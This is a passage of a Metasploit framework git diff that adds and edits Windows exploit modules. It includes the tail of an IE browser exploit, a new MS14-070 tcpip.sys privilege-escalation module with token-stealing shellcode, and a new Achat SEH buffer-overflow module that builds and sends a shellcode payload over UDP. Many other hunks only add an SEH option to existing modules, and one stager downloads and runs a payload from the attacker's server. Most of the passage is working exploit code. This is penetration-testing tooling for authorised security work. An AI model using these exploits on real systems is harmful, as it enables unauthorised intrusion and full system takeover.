'References' => + [ + ['EDB', '35948'], + ['URL', 'https://rh0dev.github.io/blog/2015/fun-with-info-leaks/'] + ], + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'PrependEncoder' => stack_adjust + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}", + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => Msf::HttpClients::IE, + :ua_ver => '10.0' + }, + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 30 2015", + 'DefaultTarget' => 0)) + end + + def stack_adjust + adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + + adjust + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + case request.uri + when /exploit.js/ + print_status("Sending exploit.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, exploit_template(cli, target_info), headers) + when /sprayer.js/ + print_status("Sending sprayer.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, sprayer_template(cli, target_info), headers) + when /informer.js/ + print_status("Sending informer.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, informer_template(cli, target_info), headers) + when /rop_builder.js/ + print_status("Sending rop_builder.js...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'application/javascript'} + send_exploit_html(cli, rop_builder_template(cli, target_info), headers) + else + print_status("Sending main.html...") + headers = {'Pragma' => 'no-cache', 'Content-Type'=>'text/html'} + send_exploit_html(cli, main_template(cli, target_info), headers) + end + end + + def main_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'main.html') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def exploit_template(cli, target_info) + shellcode = Rex::Text.to_hex(get_payload(cli, target_info)) + + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'exploit.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def sprayer_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'sprayer.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def informer_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'informer.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def rop_builder_template(cli, target_info) + path = ::File.join(Msf::Config.data_directory, 'exploits', 'edb-35948', 'js', 'rop_builder.js') + template = '' + File.open(path, 'rb') { |f| template = strip_comments(f.read) } + + return template, binding() + end + + def strip_comments(input) + input.gsub(/\/\/.*$/, '') + end + +end diff --git a/modules/exploits/windows/browser/xmplay_asx.rb b/modules/exploits/windows/browser/xmplay_asx.rb index ad9478601d..4e53c13709 100644 --- a/modules/exploits/windows/browser/xmplay_asx.rb +++ b/modules/exploits/windows/browser/xmplay_asx.rb @@ -28,10 +28,10 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '21206'], [ 'URL', 'http://secunia.com/advisories/22999/' ], ], - 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index f319496cb4..6e66961670 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" + payload_src << ":#{datastore['SRVPORT']}#{get_resource}/#{@payload_name}.exe" # Create the stager (download + execute payload) stager = build_vbs(payload_src) diff --git a/modules/exploits/windows/fileformat/acdsee_xpm.rb b/modules/exploits/windows/fileformat/acdsee_xpm.rb index 5741c5201b..d0e2e16721 100644 --- a/modules/exploits/windows/fileformat/acdsee_xpm.rb +++ b/modules/exploits/windows/fileformat/acdsee_xpm.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb index deabe2d4db..e16f6b2551 100644 --- a/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb +++ b/modules/exploits/windows/fileformat/adobe_illustrator_v14_eps.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb index 1f60f4a388..c59964b672 100644 --- a/modules/exploits/windows/fileformat/audio_wkstn_pls.rb +++ b/modules/exploits/windows/fileformat/audio_wkstn_pls.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb index afe3a09d58..e8e7b6feb9 100644 --- a/modules/exploits/windows/fileformat/blazedvd_plf.rb +++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb @@ -35,7 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'EXITFUNC' => 'process' + 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { @@ -43,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00\x0a\x1a", 'DisableNops' => true }, + 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb index c9ae730bce..b9960e6c1d 100644 --- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb +++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb @@ -34,6 +34,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb index e3211205d4..3535ec9342 100644 --- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb +++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb @@ -33,6 +33,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb index 8b07998581..e13df2b8f0 100644 --- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb +++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb @@ -47,6 +47,10 @@ class Metasploit3 < Msf::Exploit::Remote { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Targets' => [ ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }], diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb index ac91203b58..468b74316a 100644 --- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb +++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index 612a433469..01127ad7e2 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xls']), - OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.config_directory + "/data/exploits/"]), + OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.local_directory]), ], self.class) end @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Creating Excel spreadsheet ...") - out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) + out = File.join(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) fail_with(Failure::Unknown, 'Unable to create output file') diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index db8ba33450..88cc325763 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE - include Msf::Exploit::Remote::SMBServer + include Msf::Exploit::Remote::SMB::Server def initialize(info={}) super(update_info(info, diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb index f816c4ef84..51179b1675 100644 --- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb +++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb index 5ab7fa55d2..6169941ed8 100644 --- a/modules/exploits/windows/fileformat/vuplayer_cue.rb +++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb index 9cdab6e634..4589c909f9 100644 --- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb index ae843a5c0e..d3a93a3cfa 100644 --- a/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb +++ b/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb @@ -37,6 +37,10 @@ class Metasploit3 < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'StackAdjustment' => -3500, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/games/racer_503beta5.rb b/modules/exploits/windows/games/racer_503beta5.rb index cb440f504f..304ddab98f 100644 --- a/modules/exploits/windows/games/racer_503beta5.rb +++ b/modules/exploits/windows/games/racer_503beta5.rb @@ -34,6 +34,10 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x5c\x00", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Platform' => 'win', 'Targets' => [ diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb index 63e56c7a40..074f885b40 100644 --- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb +++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb @@ -37,6 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb index f481489a06..689f107920 100644 --- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb +++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Privileged' => true, 'Platform' => ['win'], diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb index 9d4506e071..a314fa36cf 100644 --- a/modules/exploits/windows/http/belkin_bulldog.rb +++ b/modules/exploits/windows/http/belkin_bulldog.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/http/steamcast_useragent.rb b/modules/exploits/windows/http/steamcast_useragent.rb index 5002ab398e..930a01332d 100644 --- a/modules/exploits/windows/http/steamcast_useragent.rb +++ b/modules/exploits/windows/http/steamcast_useragent.rb @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/imap/novell_netmail_auth.rb b/modules/exploits/windows/imap/novell_netmail_auth.rb index 5b3baf6ab4..1cbb03654f 100644 --- a/modules/exploits/windows/imap/novell_netmail_auth.rb +++ b/modules/exploits/windows/imap/novell_netmail_auth.rb @@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb new file mode 100644 index 0000000000..edb23e8f1d --- /dev/null +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference', + 'Description' => %q{ + A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys + can allow a local attacker to trigger a NULL pointer dereference by using a + specially crafted IOCTL. This flaw can be abused to elevate privileges to + SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC + 'Jay Smith <jsmith[at]korelogic.com>' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + ['Windows Server 2003 SP2', + { + '_KPROCESS' => "\x38", + '_TOKEN' => "\xd8", + '_UPID' => "\x94", + '_APLINKS' => "\x98" + } + ] + ], + 'References' => + [ + ['CVE', '2014-4076'], + ['MSB', 'MS14-070'], + ['OSVDB', '114532'], + ['URL', 'https://blog.korelogic.com/blog/2015/01/28/2k3_tcpip_setaddroptions_exploit_dev'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] + ], + 'DisclosureDate'=> 'Nov 11 2014', + 'DefaultTarget' => 0 + })) + + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') + return Exploit::CheckCode::Safe unless handle + + session.railgun.kernel32.CloseHandle(handle) + + file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" + unless file?(file_path) + return Exploit::CheckCode::Unknown + end + + major, minor, build, revision, branch = file_version(file_path) + vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") + + unless this_proc.memory.writable?(0x1000) + fail_with(Failure::Unknown, 'Failed to allocate memory') + end + + buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + + sc = token_stealing_shellcode(target, nil, nil, false) + # move up the stack frames looking for nt!KiSystemServicePostCall + sc << "\x31\xc9" # xor ecx, ecx + sc << "\x89\xeb" # mov ebx, ebp + # count_frames + sc << "\x41" # inc ecx + sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 + sc << "\x8b\x1b" # mov ebx, dword [ebx] + sc << "\x75\xf4" # jne short count_frames + sc << "\x49" # dec ecx + # loop_frames + sc << "\x49" # dec ecx + sc << "\x89\xec" # mov esp, ebp + sc << "\x5d" # pop ebp + sc << "\x83\xf9\x00" # cmp ecx, 0 + sc << "\x75\xf7" # jne loop_frames + sc << "\x31\xc0" # xor eax, eax + sc << "\xc3" # ret + + this_proc.memory.write(0x28, "\x87\xff\xff\x38") + this_proc.memory.write(0x38, "\x00\x00") + this_proc.memory.write(0x1100, buf) + this_proc.memory.write(0x2b, "\x00\x00") + this_proc.memory.write(0x2000, sc) + + print_status("Triggering the vulnerability...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) + #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + end + + print_good("Exploitation successful!") + unless execute_shellcode(payload.encoded, nil, this_proc.pid) + fail_with(Failure::Unknown, 'Error while executing the payload') + end + end + +end diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index a6cf543792..6aa7b540a8 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -16,11 +16,13 @@ class Metasploit3 < Msf::Exploit::Local super(update_info(info, { 'Name' => 'MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape', 'Description' => %q{ - This module abuses a process creation policy in Internet Explorer's sandbox, specifically - the Microsoft Remote Desktop Services Web Proxy IE one, which allows the attacker to escape - the Protected Mode, and execute code with Medium Integrity. At the moment, this module only - bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested - successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11. + This module abuses a process creation policy in Internet Explorer's + sandbox; specifically, Microsoft's RemoteApp and Desktop Connections runtime + proxy, TSWbPrxy.exe. This vulnerability allows the attacker to escape the + Protected Mode and execute code with Medium Integrity. At the moment, this + module only bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This + module has been tested successfully on Windows 7 SP1 (32 bits) with IE 8 and IE + 11. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb index 16f718b14e..04edbd3f44 100644 --- a/modules/exploits/windows/local/pxeexploit.rb +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -47,7 +47,11 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Passive, - 'DefaultTarget' => 0 + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'FILENAME' => 'update1', + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! + } ) register_options( @@ -57,7 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from' ]), + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), OptBool.new('RESETPXE', [ true, 'Resets the server to re-exploit already targeted hosts', false ]), @@ -67,12 +72,6 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - if not datastore['TFTPROOT'] - datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') - end - datastore['FILENAME'] = "update1" - datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them! - # Prepare payload print_status("Creating initrd") initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom')) diff --git a/modules/exploits/windows/misc/achat_bof.rb b/modules/exploits/windows/misc/achat_bof.rb new file mode 100644 index 0000000000..7a53dee238 --- /dev/null +++ b/modules/exploits/windows/misc/achat_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Udp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Achat Unicode SEH Buffer Overflow', + 'Description' => %q{ + This module exploits a Unicode SEH buffer overflow in Achat. By + sending a crafted message to the default port 9256/UDP, it's possible to overwrite the + SEH handler. Even when the exploit is reliable, it depends on timing since there are + two threads overflowing the stack in the same time. This module has been tested on + Achat v0.150 running on Windows XP SP3 and Windows 7. + }, + 'Author' => + [ + 'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery + 'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CWE', '121'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 730, + 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"), + 'StackAdjustment' => -3500, + 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, + 'EncoderOptions' => + { + 'BufferRegister' => 'EAX' + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested OK Windows XP SP3, Windows 7 + # Not working on Windows Server 2003 + [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 18 2014')) + + register_options( + [ + Opt::RPORT(9256) + ], self.class) + end + + def exploit + connect_udp + + # 0055 00 ADD BYTE PTR SS:[EBP],DL # padding + # 2A00 SUB AL,BYTE PTR DS:[EAX] # padding + # 55 PUSH EBP # ebp holds a close pointer to the payload + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # mov eax, ebp + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 05 00140011 ADD EAX,11001400 # adjusting eax + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 50 PUSH EAX # eax points to the start of the shellcode + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # padding + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 59 POP ECX # padding + # 0039 ADD BYTE PTR DS:[ECX],BH # padding + first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39" + + sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00" + sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46) + sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset + sploit << "\x61\x40" # POPAD + INC EAX + + sploit << target.ret # AChat.exe p/p/r address + + # adjusting the first thread's unicode payload, tricky asm-fu + # the first seh exception jumps here, first_stage variable will be executed + # by the second seh exception as well. It needs to be in sync with the second + # thread, so that is why we adjust eax/ebp to have a close pointer to the + # payload, then first_stage variable will take the rest of the job. + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 55 PUSH EBP # ebp with close pointer to payload + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 58 POP EAX # put ebp to eax + # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding + # 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place + # 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more + # 05 00140011 ADD EAX,11001400 # more adjusting + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 50 PUSH EAX # saving eax + # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding + # 5D POP EBP # mov ebp, eax + sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43" + sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread + sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX + sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload + sploit << "\x00" + 'A' * 10 + "\x00" + + i = 0 + while i < sploit.length do + if i > 172000 + Rex::sleep(1.0) + end + sent = udp_sock.put(sploit[i..i + 8192 - 1]) + i += sent + end + disconnect_udp + end + +end diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index 0484d36b25..a63b9bd4fa 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 4ba2760150..49e364a014 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -36,6 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index 4ce8b89db0..0da0bbad83 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', + 